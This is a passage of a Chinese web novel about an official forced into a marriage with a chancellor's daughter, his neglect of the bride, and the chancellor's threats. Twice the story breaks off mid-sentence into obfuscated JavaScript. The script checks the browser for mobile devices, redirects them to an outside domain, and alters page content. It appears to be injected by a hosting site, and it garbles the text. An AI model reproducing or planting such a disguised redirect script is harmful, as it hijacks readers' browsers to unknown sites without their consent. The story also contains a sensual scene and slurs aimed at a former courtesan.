李傲雪靠在他怀里,轻轻点头,伸手抚平他眉间的褶皱:“少爷,我信你。不管你要做什么,我都陪着你。咱们一起面对,总会有办法的。” 肖晨抱着她,心里却沉甸甸的——皇上正在气头上,朝中敢为他说话的人寥寥无几。他想起吏部的张大人,虽与自己交集不多,却也算赏识他;又想起曾有过一面之缘的太后身边的嬷嬷,或许能通过太后劝说皇上。 他知道,这是一场豪赌,但为了身边的人,他必须赌一把。 三天时间过得飞快,肖府外天天有人提着厚礼上门,不是官员亲自拜访,就是管家代为送礼,嘴上说着“恭贺肖大人”,实则都是想借着他与高丞相的婚事攀附关系。肖晨每次都让管家把礼物原封不动退回,可送礼的人依旧络绎不绝,府里的气氛压抑得让人喘不过气。 这三天里,肖晨多次想进宫求见皇上,却都被宫门侍卫拦在外面,只传话说:“陛下有旨,肖大人若不答应迎娶高小姐,便不必入宫见驾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296146|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他又去找张大人求助,张大人虽有心帮他,却也忌惮皇上和高丞相的势力,只能叹着气劝他:“肖老弟,胳膊拧不过大腿,为了家人,你还是再想想吧。” 与此同时,高府里,高小姐正坐在窗前抹泪。她虽未见过肖晨,却早听过他为官正直、待妻温柔的名声,本对这门婚事有几分期待,可得知肖晨宁死不从,甚至要以满门性命相抗,心里又委屈又难过:“爹,他根本不想娶我,就算强行嫁过去,又有什么意思呢?” 高丞相看着女儿通红的眼睛,脸色沉了下来,语气带着不容置疑的强硬:“女儿你放心,爹已经跟陛下说好了,这门婚事绝不能黄!肖晨他敢抗旨,就是不给我和陛下面子,我定会让他乖乖答应,风风光光把你娶进门!”说罢,他立刻派人去肖府施压,暗示若肖晨再不从,就要动手查办肖家过往的“旧账”。 肖府内,肖晨的父母也急得团团转。老两口听说了“囚车或婚车”的选择,又得知高丞相在暗中施压,吓得一夜没合眼。这天下午,老夫人拉着肖晨的手,眼泪直流:“儿啊,娘知道你心里苦,可咱们肖家几十口人,不能因为你一个人毁了啊!傲雪和丁香是好孩子,可咱们也不能让她们跟着送死啊!” 肖老爷也叹了口气,语气沉重:“晨儿,为父知道你重情义,可君命难违,丞相也得罪不起。就当是为了全家,你……你就答应吧。等婚后,你好好待傲雪她们,也算对得起她们了。” 肖晨看着父母憔悴的模样,心里像被针扎一样疼。他刚想开口反驳,却见管家慌慌张张跑进来:“大人!不好了!高丞相派来的人说,若是您今日再不应下婚事,明日就会派人来查府里的账目,说……说要查咱们肖家是不是也跟漕运贪腐有关!” 这话像最后一根稻草,压得肖晨几乎喘不过气。他知道,高丞相这是故意栽赃,若真查起来,就算肖家清白,也会被他们找出“问题”。肖母见状,直接跪了下来:“儿啊,娘求你了,答应吧!再拖下去,咱们全家都要完了!” 肖晨连忙扶起母亲,眼眶通红。他转头看向站在一旁的李傲雪,她脸色苍白,却还是强撑着对他摇了摇头,轻声说:“少爷,别为难自己,我……我没事。” 看着所有人都在为他的固执承受压力,看着李傲雪强装坚强的模样,肖晨的心一点点沉了下去。他知道,自己不能再固执下去了——他可以不在乎自己的性命,却不能眼睁睁看着父母、傲雪、丁香,还有肖府上下几十口人,都为他陪葬。 肖晨深吸一口气,声音带着几分沙哑的疲惫:“好,我答应。” 这话一出,肖母瞬间哭出了声,肖老爷也松了口气,连忙让人去给高丞相和宫里传信。李傲雪看着肖晨,眼泪终于忍不住掉了下来,却还是走上前,轻轻握住他的手:“少爷,我懂你。” 肖晨看着她的眼泪,心里满是愧疚,却一句话也说不出来。他知道,从答应的这一刻起,他不仅辜负了自己的承诺,更让身边最在意的人,受了天大的委屈。而这场被迫的婚事,不过是苦难的开始。 肖晨的“好”字刚落,肖府里的气氛瞬间变了——肖母拉着肖老爷的手抹泪,嘴里反复说着“太好了,全家都安全了”;管家连忙转身去安排人传信,脚步都比往常轻快几分。只有肖晨和李傲雪站在原地,手紧紧握着,却感受不到半分暖意。 李傲雪的眼泪砸在肖晨的手背上,冰凉的触感让他心头一颤。他想开口说些什么,却发现喉咙像被堵住一样,只能笨拙地伸手擦掉她的眼泪,声音沙哑:“傲雪,对不起……” “我知道的,少爷。”李傲雪打断他,吸了吸鼻子,努力挤出一个浅淡的笑,“你是为了全家,我不怪你。只是……只是往后,你别冷落了丁香和我就好。” 肖晨将她紧紧抱在怀里,下巴抵着她的发顶,眼眶发烫:“不会的,我绝不会冷落你们。不管娶了谁,在我心里,你们永远是最重要的。” 可这话像羽毛一样轻,连他自己都觉得没有底气。 没过多久,宫里就传来消息,皇上龙颜大悦,钦定三日后举行婚礼,还赏赐了不少金银绸缎,让肖府好好筹备。高丞相也派人送来丰厚的嫁妆清单,红绸裹着的箱子从高府一直排到肖府门口,引得路人纷纷驻足围观,都在议论肖大人好福气,能娶到丞相千金。 只有肖府内院,一片沉寂。丁香躲在房间里,不肯出来见人,肖晨去敲门,她也只是隔着门哽咽着说:“公子,我没事,你去忙吧。”李傲雪则强打精神,帮着管家筹备婚礼事宜,可眼底的落寞,谁都看得出来。 肖晨看着眼前的一切,心里像被针扎一样疼。他几次想去找高丞相,说自己不愿娶,可一想到父母担忧的眼神,想到李傲雪强装的坚强,又把话咽了回去——他已经没有退路了。 婚礼前一天,高小姐派人送来一封信,说是想在婚前见肖晨一面。肖晨犹豫了很久,最终还是去了约定的茶馆。 高小姐坐在隔间里,穿着一身粉色衣裙,模样清秀,只是眼底带着几分不安。见肖晨进来,她连忙起身行礼:“肖大人。” 肖晨颔首,语气平淡:“高小姐找我,有何事?” 高小姐咬了咬唇,轻声说:“我听说……肖大人不愿娶我,是因为心里有两位姐姐。”她顿了顿,抬头看向肖晨,眼神诚恳,“肖大人,我知道这门婚事是我爹和陛下促成的,委屈了你。若是婚后,我不会为难两位姐姐,也不会争什么名分,只求能安安稳稳过日子就好。” 肖晨没想到她会这么说,愣了愣,心里的愧疚又多了几分:“高小姐,委屈你了。” “不委屈。”高小姐摇摇头,“我爹常说,肖大人是个正直的好官,能嫁给你,是我的福气。只是……我希望肖大人日后别太冷落我就好。” 从茶馆回来,肖晨的心情更加复杂。他既愧疚于李傲雪和丁香,又对高小姐生出几分歉意——这场婚事,没有一个人是心甘情愿的,却都被卷了进来。 婚礼当天,肖府张灯结彩,锣鼓喧天,宾客盈门,一派喜庆景象。肖晨穿着大红的喜服,站在门口迎接宾客,脸上挂着客套的笑容,心里却一片冰凉。 当花轿抬到门口,喜娘搀扶着盖着红盖头的高小姐走进府时,肖晨看到李傲雪和丁香站在廊下,远远地看着他。李傲雪的脸上没有表情,只是眼眶通红;丁香则低着头,肩膀微微颤抖。 肖晨的心像被狠狠揪了一下,他想走过去安慰她们,却被身边的宾客围住,只能眼睁睁看着她们转身回了房间。 拜堂的时候,肖晨机械地跟着喜官的口令行礼,看着身边盖着红盖头的高小姐,心里一片茫然。他不知道,这场被迫开始的婚姻,会把他和他在意的人,带向何方。 洞房花烛夜,肖晨坐在桌边,没有去掀高小姐的盖头。高小姐坐在床沿,沉默了很久,才轻声说:“肖大人,你若是心里还想着两位姐姐,就……就去看看她们吧。我一个人没关系。” 肖晨抬头看向她,心里满是复杂的情绪:“高小姐,对不起。” “不用说对不起。”高小姐轻轻叹了口气,“我知道你也是身不由己。你去吧,别让她们等太久。” 肖晨站起身,犹豫了一下,最终还是转身走出了洞房。他没有去李傲雪的房间,而是站在院子里,看着天上的月亮。月光清冷,洒在他身上,像一层薄霜。 他不知道这样的日子还要过多久,也不知道自己能不能守住对李傲雪和丁香的承诺。但他知道,无论如何,他都不能让她们再受更多委屈——就算是被迫娶了高小姐,他也要拼尽全力,护好他真正在意的人。 78.倍受冷落的她,被威胁的他 肖晨推开李傲雪房门时,屋内只点着一盏昏黄的油灯,她正坐在床边,手里攥着一方绣了一半的手帕,指尖泛白。听到动静,她猛地抬头,看到是他,眼里先是闪过一丝惊喜,随即又被担忧取代,连忙起身迎上来:“少爷,你怎么没去洞房?高小姐她……” 话没说完,肖晨就伸手将她紧紧抱在怀里,下巴抵着她的发顶,声音带着压抑的疲惫与滚烫的真诚:“我没法跟她睡。傲雪,我试过了,可我一想到要对着别人,心里就像被针扎一样——我心里只有你和丁香,装不下第三个人。” 李傲雪的身体瞬间僵住,眼泪毫无预兆地涌了出来,顺着脸颊滴落在他的衣襟上。她抬手环住他的腰,将脸埋进他的胸膛,声音哽咽却带着极致的欢喜:“少爷……我还以为……还以为你以后不会再像以前那样疼我了。我真的不想少爷属于别人,一点都不想。” “不会的。”肖晨捧起她的脸,指腹轻轻擦去她的泪痕,低头吻上她的唇。这个吻,没有了往日的温柔缱绻,多了几分失而复得的急切与坚定,舌尖缠着她的,仿佛要将所有的愧疚与爱意都融进这一吻里。李傲雪闭上眼,伸手紧紧抓着他的衣襟,踮起脚尖回应着他,油灯的光映在两人交叠的身影上,将满室的孤寂都驱散了。 他的手轻轻抚过她的脊背,从她的发梢到腰间,每一处都带着熟悉的温度,让李傲雪忍不住轻轻颤抖。肖晨低头在她的颈间落下细密的吻,咬着她的耳垂轻声说:“傲雪,我只属于你们两个,永远都是。”她泛红着眼眶点头,指尖划过他的眉眼,将他拉得更近,两人的呼吸渐渐交缠,衣衫在不经意间滑落,露出的肌肤贴着肌肤,滚烫得像要燃烧起来。 油灯的火苗忽明忽暗,映着帐幔轻轻晃动。肖晨动作温柔却带着不容错辨的占有,将她压在柔软的床榻上,在她耳边反复说着“对不起”与“我爱你”;李傲雪则紧紧抱着他,将脸埋在他的肩窝,细碎的轻吟混着彼此的心跳,在安静的夜里格外清晰。这一夜,没有被迫的妥协,没有外人的打扰,只有属于他们两人的滚烫与缠绵,仿佛要将这些日子的委屈与不安,都在这极致的亲密里抚平。 而另一边的新房,红烛燃得正旺,却映得满室冷清。高小姐坐在铺满红枣、花生的床榻上,盖头早已被她自己悄悄掀开,手里捏着喜帕,眼神落在紧闭的房门上,眼底满是落寞。丫鬟小红端着早已凉透的合卺酒走进来,见房里依旧只有自家小姐一人,顿时气不打一处来,将托盘重重放在桌上,压低声音抱怨:“小姐!这肖姑爷也太过分了!哪有新婚夜把新娘子晾在房里,跑去别的女人房里的道理?这要是传出去,人家还以为您是个没人要的,您往后在肖府怎么抬得起头啊!” 高小姐垂着眼,轻轻攥紧了喜帕,没说话。小红见她不吭声,更急了,凑到她身边,语气里带着几分鄙夷:“小姐您可是堂堂相府千金,金枝玉叶!那李傲雪虽说以前是官宦世家的小姐,可她家和您比还差着一截;更别说那个丁香了!我今天听府里的下人说,她以前是花船上的妓女,是肖姑爷从花船上赎回来的!一个下贱蹄子,凭什么跟您平起平坐,还让姑爷这么上心?” “小红!”高小姐猛地抬头,声音带着几分严厉,“不许胡说!丁香姑娘既然进了肖府,就是肖家人,岂能容你这般诋毁?” 小红愣了愣,委屈地瘪了瘪嘴:“小姐,我这不是为您抱不平嘛!您看您,今天受了这么大的委屈,姑爷连面都不肯露,还跑去陪那两个女人,尤其是那个妓女……” “够了!”高小姐打断她,深吸一口气,眼底的落寞更甚,“婚姻是我爹和陛下促成的,肖大人本就不情愿。他心里有别人,我早该想到的。至于丁香姑娘,出身不能代表什么,肖大人既肯待她好,就说明她有过人之处,咱们做晚辈的,不该背后议论。” 话虽这么说,高小姐的指尖却还是微微泛白——她再知书达理,也是新婚夜被冷落的新娘,小红的话像针一样,扎在她心里,让她忍不住想起自己往后在肖府的日子,不知要面对多少流言蜚语,多少孤寂冷清。红烛的火苗“噼啪”响了一声,溅起一点火星,很快又归于平静,就像她此刻的心情,再怎么委屈,也只能压在心底。 小红见小姐动了气,不敢再多说,只能小声劝道:“小姐,那您也不能就这么坐着啊!好歹派人去催催姑爷,让他过来陪陪您,不然这新婚夜多难看啊!” 高小姐摇了摇头,轻轻叹了口气:“不必了。他若有心,自然会来;他若无心,催了也没用,反倒落得个咄咄逼人的名声。就这样吧,你先下去,我想一个人待一会儿。” 小红没办法,只能不甘心地退了出去,临走前还不忘回头看了一眼紧闭的房门,心里把肖晨和丁香骂了好几遍。新房里只剩下高小姐一人,她看着跳跃的烛火,眼神渐渐放空,不知道这样的日子,还要持续多久。 第二天一早,肖府的下人就忙着收拾前一晚的喜庆痕迹,只是内院的气氛依旧沉闷。肖晨从李傲雪房里出来时,正撞见迎面走来的高小姐——她穿着一身素雅的衣裙,眼底带着淡淡的疲惫,显然是一夜没睡好。 两人对视一眼,都有些尴尬。肖晨张了张嘴,想说句抱歉,却被高小姐轻轻摇头打断:“肖大人,时辰不早了,该去给公婆敬茶了。” 到了大厅,肖父肖母已经坐在主位上。高小姐按照规矩,端起丫鬟递来的热茶,先走到肖父面前,屈膝行礼:“爹,请用茶。”又转向肖母,恭敬地递上另一杯,“娘,请用茶。” 肖母接过茶,脸上总算有了点笑意,拉着高小姐的手说了几句客套话,无非是“以后就是一家人了”“好好照顾肖晨”之类的话。 敬完公婆,按照肖府的规矩,高小姐还要给李傲雪敬茶——虽说是平妻,但李傲雪进门早,高小姐需先表尊重。高小姐端着茶走到李傲雪面前,微微屈膝:“姐姐,请用茶。” 李傲雪连忙起身接过,语气温和:“妹妹不必多礼,往后咱们姐妹好好相处。” 敬完李傲雪,就该轮到丁香了。丁香站在一旁,穿着一身浅青色衣裙,手里攥着衣角,显得有些局促。高小姐端着茶,刚要迈步朝她走去,肖母却突然开口,声音带着明显的嫌弃:“不用给她敬茶!” 这话一出,大厅里瞬间安静下来。肖母放下茶杯,眼神轻蔑地扫过丁香:“你是相府千金,金枝玉叶,她一个从花船上来的贱蹄子,哪配承受你的礼?传出去,人家还以为咱们肖府没规矩,让个下贱坯子跟你平起平坐!” 丁香的脸瞬间变得惨白,头垂得更低,指尖几乎要把衣角攥破。肖晨皱起眉头,刚想开口反驳,却被肖母狠狠瞪了一眼:“你别说话!这府里的规矩,还轮不到你一个小辈来改!” 高小姐站在原地,手里还端着茶杯,进退两难。她看了看肖母强硬的神色,又看了看丁香委屈的模样,最终还是轻轻放下茶杯,对着肖母屈膝行了一礼:“娘说的是,是女儿考虑不周了。”说罢,便识趣地退到了一旁,没有再给丁香敬茶。 肖晨看着丁香通红的眼眶,心里又疼又气,却碍于母亲的面子,只能暂时压下怒火。他走到丁香身边,轻轻拍了拍她的肩,用只有两人能听到的声音说:“别往心里去,有我在。” 丁香抬起头,眼里含着泪,却还是轻轻摇了摇头,声音带着哽咽:“我没事,公子……娘说的是实话,我本就配不上……” “不许这么说!”肖晨打断她,语气坚定,“在我心里,你和傲雪一样重要,没有什么配不配的。” 肖母见他维护丁香,脸色更沉,却没再继续发作——毕竟今天是高小姐敬茶的日子,闹得太难看,也会让高小姐没面子。她冷哼一声,对着众人说:“好了,敬茶的事就到这儿吧。往后府里的规矩,还得按老样子来,谁也别想坏了规矩!” 说完,便起身回了内院。肖父看着这尴尬的场面,只能无奈地叹了口气,也跟着走了。大厅里的气氛依旧压抑,李傲雪走到丁香身边,轻轻握住她的手,无声地安慰着她;高小姐则站在一旁,眼神复杂地看着眼前的一切,心里更清楚——往后在肖府的日子,恐怕不会太平。 敬茶的尴尬过后,前厅的早饭早已没了热气,众人也都没了吃饭的心思,草草散了场。肖晨没去管回房休息的高小姐,也没去安抚李傲雪——他知道傲雪能理解,此刻他最放心不下的,是被母亲当众羞辱的丁香。 他让人把前厅的饭菜重新热了,端到丁香的房间。推开门时,果然见丁香正坐在床沿,背对着门口,肩膀微微耸动,显然还在难过。 “丁香。”肖晨轻声开口,将食盒放在桌上,走到她身边。 丁香连忙擦干眼泪,转过身强装笑脸:“公子,你怎么来了?你……你不陪着高小姐吗?她刚进门,你该多陪陪她才是。” 肖晨在她身边坐下,伸手将她揽进怀里,声音温柔却坚定:“你是我的爱人,我陪你是应该的。高小姐那边有丫鬟照料,不用我操心。倒是刚才娘说的那些话,让你受委屈了,我知道你心里难受。” 被他戳中心事,丁香的眼泪又忍不住掉了下来,却还是摇着头:“我没事的公子,娘说的是事实,我本来就是从花船上来的,确实……确实配不上你。” “不许这么说。”肖晨捧起她的脸,用指腹擦掉她的泪痕,眼神认真,“出身从来不是衡量一个人的标准。你善良、懂事,还会为我着想,这些都比所谓的‘身份’珍贵得多。在我心里,你比谁都好。”他指了指桌上的食盒,“咱们先吃饭,别饿坏了自己,你要是生病了,我会心疼的。” 说着,他打开食盒,端出一碗温热的小米粥,拿起勺子舀了一勺,吹凉后递到丁香嘴边:“来,张嘴。” 丁香看着他温柔的眼神,心里的委屈渐渐消散,顺从地张开嘴,喝下了那勺粥。肖晨就这么一勺一勺地喂着她,偶尔夹一筷子她爱吃的青菜,动作耐心又细致。 吃完饭,丁香主动收拾碗筷,却被肖晨拦住。他将她拉回怀里,让她靠在自己肩上。丁香抱着他的腰,脸贴在他的胸膛,听着他沉稳的心跳,轻声说:“公子,不管我受多少委屈,只要有你的爱,我就什么都不在乎。就算别人都看不起我,只要你还想着我,我就不怕。” 肖晨低头吻了吻她的发顶,声音带着滚烫的真诚:“你和傲雪都是我的爱人,这辈子我都会护着你们。就算高小姐身份再高贵,也走不进我心里——在我眼里,她只是‘肖府的少夫人’,而你们,是我想共度一生的人。” 他顿了顿,收紧手臂将她抱得更紧:“能拥有你和傲雪的爱,才是我这辈子最幸福的事。别再想那些不开心的,往后有我在,谁也不能再让你受委屈。” 丁香靠在他怀里,点了点头,眼泪却又掉了下来——这次不是因为难过,而是因为感动。她知道,只要有肖晨在,就算往后的日子还有再多风雨,她也能勇敢地走下去。 高小姐回到房里,刚卸下头上的钗环,就见小红端着茶水进来,一开口就满是不平:“小姐,您也太好性子了!刚才在大厅,您居然真要给那贱蹄子行礼?要不是老夫人拦着,传出去还不知道人家怎么笑话您呢!还有姑爷,明知道您是新婚,却一心护着那个花船出来的,连您的脸面都不顾,这也太过分了!” 高小姐接过茶杯,指尖触到温热的杯壁,却没什么暖意,只是轻轻叹了口气:“敬茶本就是规矩,她既在肖府有份位,我按规矩行事,没什么不对的。” “规矩?”小红急得放下托盘,凑近说道,“小姐您就是太看重规矩了!您想想,往后日子还长着呢,姑爷总往那两个女人房里跑,把您晾在一边,您难道要一直独守空房?您可是堂堂相府千金,金枝玉叶,怎么能被一个败落官宦家的小姐,还有一个下贱蹄子比下去?” 她越说越激动,声音也拔高了些:“您得想办法把姑爷的心拉到您这里来啊!比如学着做些姑爷爱吃的菜,或者在他面前多露露才艺——您琴棋书画样样精通,哪点比不上她们?那李傲雪也就会绣个东西,丁香更是除了伺候人啥也不会,您只要多上点心,姑爷肯定会注意到您的!” 高小姐握着茶杯的手紧了紧,眼底闪过一丝犹豫——小红的话,其实说到了她心里。新婚夜独守空房,今早敬茶又被冷落,她何尝不委屈?只是她从小受的教养告诉她,不能像泼妇一样争风吃醋。 “可……可肖大人心里本就没有我,我就算做这些,他也未必会放在心上。”高小姐的声音带着几分无力,“而且我若是主动去争,反倒落了下乘,也会让肖府上下看笑话。” “小姐,这不是‘争’,是为您自己的将来打算啊!”小红急忙劝道,“您要是一直这么 passive,姑爷这辈子都不会多看您一眼!您想想丞相大人,他把您嫁过来,是希望您能好好过日子,不是让您来受委屈的!您得硬气点,哪怕是用点小手段,也得让姑爷知道您的好,让他把心思放在您身上!” 高小姐沉默了,低头看着杯里的茶水,映出自己略带落寞的模样。她不是没想过这些,只是她实在做不出“争宠”的事——她既不想学那些阴私手段,也不愿去为难李傲雪和丁香。可小红的话像根刺,扎在她心里:若真一直这样下去,她在肖府的日子,恐怕真的要在冷清中度过了。 见她不说话,小红又放软了语气:“小姐,我知道您心善,可人心都是偏的,您不主动,姑爷永远不会注意到您。哪怕从简单的开始,比如明天起,您亲自去厨房盯着,给姑爷做些他爱吃的点心,总比什么都不做要好啊。” 高小姐指尖轻轻摩挲着杯沿,犹豫了许久,最终还是轻轻点了点头——她或许做不到争风吃醋,但为了自己往后的日子,试着主动一点,总归是没错的。只是她心里清楚,肖晨的心里早已被人占满,就算她做再多,恐怕也很难走进他心里。 肖晨的七天婚假才过了两天,府里就传来通报——高丞相亲自上门了。他虽对这门婚事满心抵触,但碍于礼数,还是整理好衣袍,带着管家去门口迎接。 见高丞相下了马车,肖晨上前躬身行礼,语气平淡却守着规矩:“岳父大人。” 高丞相“嗯”了一声,目光扫过肖晨,带着几分审视,只淡淡道:“我来看看我女儿,你先忙你的去吧,不用跟着。”话里的疏离与不满,谁都听得出来。 肖晨也不勉强,顺势应下:“岳父有任何需要,随时吩咐管家便是。”说罢,便站在原地,看着高丞相带着随从往高小姐的院子走去。 高小姐听说父亲来了,连忙起身整理衣裙,刚走到门口,就见高丞相已经进了院,她连忙迎上去,屈膝行礼:“爹。” “起来吧,”高丞相扶了她一把,目光落在她脸上,见她眼底带着淡淡的倦意,眉头不由得皱了皱,“在这儿住得还习惯?” 他话音刚落,一旁的小红就抢先一步上前,膝盖微微一弯,语气带着刻意的委屈:“丞相大人!您可算来了!我家小姐这几天在肖府,过得太委屈了!” 高小姐想拦,却已经来不及。小红抬着头,语速飞快地说道:“新婚夜那天,姑爷就没进过小姐的房门,整夜都待在正妻房里!第二天敬茶,小姐本来按规矩要给那丁香行礼,老夫人虽说拦了,可姑爷当场就护着那丁香,看都没看小姐一眼!” 她越说越激动,声音也拔高了些:“这两天姑爷更是过分,早饭、午饭都陪着李傲雪和丁香吃,连咱们院子的门都没踏进来过!小姐每天守着空房,连口热乎饭都没心思吃,夜里也睡不着,您看小姐这脸色,都瘦了一圈了!” 小红还想接着说,高小姐连忙打断她:“小红!别胡说,我没有……” “小姐您就是太善良了!”小红转头看向高小姐,带着几分急切,“这些委屈您不跟丞相大人说,谁还能为您做主啊?您是相府千金,凭什么要受这种气?那李傲雪出身早就败落了,丁香更是下贱蹄子,凭什么跟您抢姑爷?” 高丞相的脸色越听越沉,原本只是略带审视的眼神,此刻已满是怒火。他看向高小姐,语气带着心疼与严厉:“她说的都是真的?你受了这么多委屈,怎么不派人给我送信?” 高小姐垂着头,指尖攥着衣角,声音带着几分哽咽:“爹,我……我就是觉得,刚嫁过来就闹得人尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296147|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆知不好,而且肖大人他……他也是身不由己……” “身不由己?”高丞相冷笑一声,猛地一拍桌子,“他身不由己,就能让我高某人的女儿独守空房?就能让一个花船女子骑到你头上?我当初让你嫁过来,是让你当肖府的主母,不是让你受这种窝囊气的!” 他站起身,语气带着不容置疑的强硬:“你别怕,有爹在!今天我就替你讨个说法!我倒要问问肖晨,他眼里到底有没有你这个妻子,有没有我这个岳父,有没有陛下亲赐的这门婚事!” 说罢,高丞相转身就往外走,怒气冲冲的模样,显然是要去找肖晨算账。高小姐连忙上前拉住他的衣袖,急声道:“爹!您别去!若是闹僵了,往后我在肖府更难立足了!” “难立足?”高丞相停下脚步,回头看着女儿,眼神复杂,“你若是一直这么忍下去,才是真的难立足!今天这事,我必须管!” 他轻轻推开高小姐的手,大步流星地往外走,留下高小姐站在原地,满脸焦急与无措——她既怕父亲与肖晨闹僵,让彼此难堪,又忍不住生出一丝期待,希望父亲能为她讨回一点体面。而这一切,都被躲在廊柱后的丁香看在眼里,她攥紧了手里的食盒,悄悄转身离开,心里满是不安——她知道,一场风波,恐怕又要来了。 高丞相坐在大厅主位上,脸色阴沉得能滴出水来。管家匆匆将肖晨请来时,就见高丞相手里攥着茶盏,指节都泛了白。 肖晨走进大厅,依着礼数躬身:“岳父找我,有何事?” “何事?”高丞相猛地将茶盏顿在桌上,茶水溅出几滴,语气带着怒火,“我倒要问问你!我女儿有哪里不好?论家世、论才情、论容貌,哪点配不上你?你竟敢新婚夜就冷落她,这几天更是连她的院门都不踏进去,你眼里还有没有她这个妻子?” 肖晨直起身,神色平静却态度坚定:“岳父,我从没想过刻意冷落高小姐。只是我的心里,早已被傲雪和丁香填满,实在没有多余的位置留给旁人。这门赐婚本就非我所愿,若不是陛下以满门性命相逼,我绝不会答应。” “放肆!”高丞相拍案而起,声音陡然拔高,“你竟敢说这门婚事是委屈了你?我女儿嫁给你,是你的福气!多少王公贵族想要求娶她,我都没答应,偏偏选了你,你还不知好歹!” 他上前一步,眼神锐利如刀,带着赤裸裸的威胁:“肖晨,你可别忘了,你如今的官职、你肖家的安稳,都离不开朝廷的恩宠。我能让你顺顺利利娶到我女儿,也能让你一夜之间一无所有——你的官职,你的性命,都攥在我手里!你要是再不识抬举,继续冷落我女儿,就别怪我不客气!” 肖晨迎着他的目光,没有丝毫退缩,语气反而更显决绝:“岳父的威胁,我记下了。但就算我失去官职、丢掉性命,就算肖家因此陷入困境,我也绝不会背叛我的妻子。傲雪和丁香陪我历经风雨,我早已许诺此生只护她们二人,这份承诺,我不会食言。” “好!好一个不会食言!”高丞相被他气得浑身发抖,指着肖晨的鼻子,“你以为你这是重情义?我看你是愚蠢!为了两个女人,连自己的前途和家族都不顾,你迟早会后悔!” 肖晨微微垂眸,声音依旧平静:“我不会后悔。若为了前途背弃爱人,那才是我此生最大的遗憾。岳父若是为了高小姐好,不如劝劝她——强扭的瓜不甜,她值得更好的人,而不是留在我身边受委屈。” “你还敢替我女儿做主?”高丞相怒极反笑,“肖晨,你给我等着!我倒要看看,你能硬气到什么时候!”说罢,他甩袖转身,对着门外喊道:“备车!回府!” 看着高丞相怒气冲冲离去的背影,肖晨轻轻叹了口气。肖晨独自坐在大厅的椅子上,指尖还残留着方才攥紧的凉意。他望着空荡荡的门口,眉头紧锁,心里满是对未来的担忧——高丞相的怒火绝不会轻易平息,往后不仅是他,连肖府上下都可能被卷入风波。 就在这时,身后传来轻轻的脚步声。肖晨回头,见丁香端着一碗热茶站在门口,眼眶通红,显然是刚才在门外听到了他和高丞相的对话。 “公子……”丁香走到他身边,将热茶递到他手里,声音带着哽咽,“你……你就好好对待高小姐吧。我和少夫人没关系的,只要你能平安,我们怎么样都好。” 肖晨猛地抬头,伸手将她拉进怀里,紧紧抱住,声音带着几分慌乱:“你怎么能这么说?我无法跟别的女人在一起,你明知道的!难道你也想把我推给她吗?” 丁香靠在他怀里,眼泪终于忍不住掉了下来,浸湿了他的衣襟:“我自然是不愿意的!我恨不得公子一辈子只陪着我和少夫人,可是……可是高丞相权大势大,他要是真的为难你,我们该怎么办?我怕……我怕他会对你不利,怕我们再也不能像以前那样在一起了。” “不会的。”肖晨捧起她的脸,用指腹擦掉她的泪痕,眼神坚定得不容置疑,“丁香,你记住,就算是失去官职、丢掉性命,我也绝不会背叛你和傲雪。若是让我用背叛你们来换平安,那我还不如死了——没有你们,我活着还有什么意义?” 他将她重新拥入怀中,下巴抵着她的发顶,声音带着滚烫的真诚:“别担心,就算高丞相要对付我,我也会想办法应对。我答应过要护着你们,就绝不会食言。不管未来有多少风雨,我们都一起面对,好不好?” 丁香靠在他怀里,感受着他温热的体温和坚定的心跳,心里的不安渐渐消散。她用力点头,伸手紧紧抱住他的腰,声音哽咽却带着决心:“好,我们一起面对。不管发生什么事,我都跟着公子,绝不离开。” 肖晨抱着她,心里满是暖意。他知道,只要有傲雪和丁香在身边,就算前路再难,他也有勇气走下去——这份情意,是他此生最珍贵的铠甲,足以抵御所有风雨。 高小姐正坐在窗边发呆,想着父亲方才怒气冲冲离开的模样,心里满是不安。这时,小红匆匆跑进来,喘着气将大厅里的事一五一十说了一遍,末了还带着几分急意:“小姐,您是没看见,丞相大人气得都拍桌子了!姑爷也太犟了,居然敢跟丞相大人叫板,说就算丢了性命也不跟您好好过,这也太过分了!” 高小姐听完,眉头紧紧皱起,声音带着几分无奈:“爹怎么能这样……就算有不满,也不该跟肖大人闹得这么僵,往后我在肖府,岂不是更难做人了?” “小姐!”小红连忙打断她,语气带着恨铁不成钢的急切,“您怎么还替姑爷说话啊?您就算不为自己想想,也得为丞相大人想想吧!外面要是知道您在肖府受冷落,连丞相的面子都没地方放——人家会说丞相连自己的女儿都护不住,传出去对丞相的名声多不好?而且旁人会怎么看您?说您是个留不住丈夫心的弃妇,您往后还怎么抬头做人啊!” 她上前一步,拉住高小姐的手,语气又软了些:“丞相大人这是为您出头啊!他疼您,才舍不得您受委屈。您想想,您今年才十七岁,正是大好年华,难道要一辈子守着空房,连点男人的爱和陪伴都没有,就这么孤独一辈子吗?” 高小姐垂着眼,指尖轻轻摩挲着衣袖,心里泛起一阵酸楚。小红的话像一根针,扎中了她心底最柔软的地方——她确实害怕孤独,也渴望能有一个人真心待她,可肖晨的心里早已没有她的位置,就算父亲再怎么施压,又能改变什么呢? “可……可肖大人心里根本没有我,就算逼他,他也不会对我好的。”高小姐的声音带着几分无力,“强扭的瓜不甜,我就算得到他的人,也得不到他的心,又有什么用呢?” 